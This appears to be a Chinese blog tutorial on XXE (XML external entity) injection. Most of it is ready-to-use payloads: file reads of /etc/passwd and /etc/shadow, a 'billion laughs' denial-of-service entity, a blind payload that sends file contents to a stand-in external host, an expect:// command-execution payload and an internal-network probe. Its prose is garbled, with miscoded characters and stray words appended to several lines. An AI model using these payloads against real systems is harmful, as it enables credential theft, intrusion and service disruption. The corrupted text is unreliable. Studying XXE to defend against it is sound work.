xml是一种具备结构性的标记语言,用来标记数据,定义数据类型,容许用户本身定义的源语言。在解析外部实体的过程当中,XML解析器能够根据URL中指定的方案(协议)来查询各类网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中建立动态引用很是有用,这样对引用资源所作的任何更改都会在文档中自动更新。 可是,在处理外部实体时,能够针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各类方案的网络访问功能来操纵内部应用程序。 经过将这些攻击与其余实现缺陷相结合,这些攻击的范围能够扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文html
一种文档类型定义 xml中标签自己是能够随便定义的二,DTD至关于给xml标签作个了类型限制约束服务器
例如: xxe.xml文件 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE 班级 SYSTEM "xxe.dtd"> <!--引入dtd文件,约束xml-->> <班级> <学生> <名字>xss</名字> <年龄>2</年龄> <介绍>1</介绍> </学生> </班级> xxe.dtd文件 <!ELEMENT 班级 (学生+)> <!ELEMENT 学生 (名字,年龄,介绍)> <!ELEMENT 名字(#PEDATA)> <!ELEMENT 年龄(#PEDATA)> <!ELEMENT 介绍(#PEDATA)>
参考大佬博客(https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-2-4-0)网络
又称为xml外部实体注入漏洞,发生在应用程序解析xml输入时,没有禁止外部实体的加载,致使可加载恶意外部文件,形成文件读取,命令执行,内网端口扫描,攻击内网网站,dos攻击等xss
例如:网站
有了xml实体,ststem会令xml解析器从url中读取内容,并容许它在xml文档中被替换。所以攻击者能够经过实体将他定义的值发送给应用程序而后实现。ui
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo> xml外部实体passwd被赋值成了file:///etc/passwd 所以运行解析时passwd就变成了file:///ect/passwd的内容
<!--?xml version="1.0" ?--> <userInfo> <firstName>John</firstName> <lastName>Doe</lastName> </userInfo>
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY example "Doe"> ]> <userInfo> <firstName>John</firstName> <lastName>&example;</lastName> </userInfo>
<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> <userInfo> <firstName>John</firstName> <lastName>&ent;</lastName> </userInfo>
<!--?xml version="1.0" ?--> <!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <tag>&lol9;</tag>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <foo>&xxe;</foo>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]> <foo>&blind;</foo>
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
<?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <hhh>&f;<hhh>
<?xml version="1.0"?> <!DOCTYPE Quan[ <!ENTITY f SYSTEM "expect://id"> ]> <hhh>&f;<hhh>
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY Quan SYSTEM "http://192.168.246.136:80"> ]> <reset><login>&Quan;</login><secret>Any bugs?</secret></reset>